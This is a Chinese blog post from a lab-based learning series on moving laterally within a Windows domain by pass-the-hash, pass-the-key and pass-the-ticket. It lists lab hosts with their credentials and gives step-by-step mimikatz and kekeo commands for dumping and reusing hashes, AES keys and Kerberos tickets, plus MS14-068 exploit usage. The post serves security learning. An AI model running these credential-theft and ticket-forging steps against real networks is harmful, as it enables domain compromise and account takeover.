内网渗透学习(五)域横向移动——PTH&PTK&PTT

环境准备:

image

2008 r2 webserver
域内 web 服务器
本地管理员账号密码 :
.\administraotr:admin!@#45
当前机器域用户密码 :
god\webadmin:admin!@#45

2003 x86 fileserver
域内文件服务器
本地管理员账号密码 :
administrator : admin
当前机器域用户密码 :
god\fileadmin : Admin12345

2008 r2 x64 dc god.org
主域控机器
域管账号密码:
God\administrator : Admin12345

2012 sqlserver
域内数据库服务器
本地管理员账号密码 :
.\administrator:admin!@#45
当前机器域用户密码 :
god\dbadmin:admin!@#45

w7 x64 mary-pc
域内个人机
本地管理员账号密码 :
.\mary : admin
当前机器域用户密码 :
god\mary : admin!@#45

w8.1 x64 jack-pc
域内个人机
本地管理员账号密码 :
.\jack : admin
当前机器域用户密码 :
god\boss : Admin12345


一、PTH


1.介绍

什么是 PTH 攻击?

pass the hash(hash传递攻击,简称 PTH),在一个计算机域中,为了方便管理,登录计算机时大多使用的域账号,若攻击者获得了其中一台主机的 LM 或 NTLM HASH 值,就可以通过哈希传递的方法登录内网中其它的计算机,从而实现内网横向移动。

PTH 攻击的优点:在目标主机中我们通常很难获取到明文密码,而使用 hash,无需明文密码即可正常登录。

PTH 攻击利用条件

  • 被 pth 攻击的计算机未打补丁(KB2871997)
  • 拿到一台域成员主机并且拿到管理员组的域用户的 NTML
  • 对方主机存在相同账号并且是管理员组成员

2.演示

可使用 mimikatz 输入如下命令获取 LM 和 NTLM

sekurlsa::logonpasswords

使用已获得的 NTLM 值尝试连接

sekurlsa::pth /user:用户名 /domain:域名 /ntlm:NTLM 值

image

在弹出的 cmd 窗口输入命令查看已连接上的主机文件

image

二、PTK


1.介绍

什么是 PTK 攻击?

pass the key (密钥传递攻击,简称 PTK)是在域中攻击 kerberos 认证的一种方式,原理是通过获取用户的aes,通过 kerberos 认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。

KB2871997 补丁和 PTK

KB2871997补丁的特点:安装了KB2871997补丁或者系统版本大于windows server 2012时,系统的内存不保存明文的密码。

KB2871997 补丁发布后常规的 Pass The Hash已经无法成功(除了 SID 500 账号例外),但是还可以通过AES密钥来替代NTLM验证进行横向的操作。

KB22871997是否真的能防御PTH攻击?https://www.freebuf.com/column/220740.html

2.演示

可使用 mimikatz 输入如下命令获取 aes256

sekurlsa::ekeys

使用已获得的 aes256 值尝试连接

sekurlsa::pth /user:用户名 /domain:域名 /aes256:aes256 值

三、PTT


1.介绍

什么是 PTT 攻击?

Pass-the-Ticket 攻击是一类利用后攻击,涉及盗窃和重复使用 Kerberos 票证,以在受感染的环境中对系统进行身份验证。在 Pass-the-Ticket 攻击中,攻击者从一台计算机上窃取 Kerberos 票证,并重新使用它来访问受感染环境中的另一台计算机。

PTT 与 PTH 的区别

Pass-the-hash 和 pass-the-ticket 之间的一个主要区别是 Kerberos TGT ticket 会过期(默认为10小时),而 NTLM hashes 只有在用户改变密码时才会改变。因此,TGT 票必须在其有效期内使用,或者可以续期更长的时间(7天)。

2.演示

(1)MS14-068

MS14-068 是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其 Kerberos 票证(TGT)中插入任意的 PAC(表示所有用户权限的结构)。该漏洞位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)中。普通用户可以通过呈现具有改变了 PAC 的 Kerberos TGT 来获得票证,进而伪造票据获得管理员权限。

MS14-068 利用工具下载地址:
https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

利用流程

查看当前 sid

whoami/user

image

清空当前机器中所有凭证(如果有域成员凭证会影响凭证伪造)

mimikatz # kerberos::purge

image

利用 ms14-068 生成 TGT 数据

ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码

image

image

票据注入内存

kerberos::ptc TGT_mary@god.org.ccache

image

查看凭证列表

klist

image

漏洞利用成功

dir \\192.168.3.21\c$

image

(2)利用工具 kekeo

kekeo 是 gentilkiwi 开源的一个工具,我们也可以用它来实现票据传递。

下载地址:https://github.com/gentilkiwi/kekeo/releases

利用流程

生成票据

tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7

image

导入票据

kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi

image

利用 net use 载入

dir \\192.168.3.21\c$

image

posted @ 2022-08-08 10:26  leviathan123  阅读(3446)  评论(0编辑  收藏  举报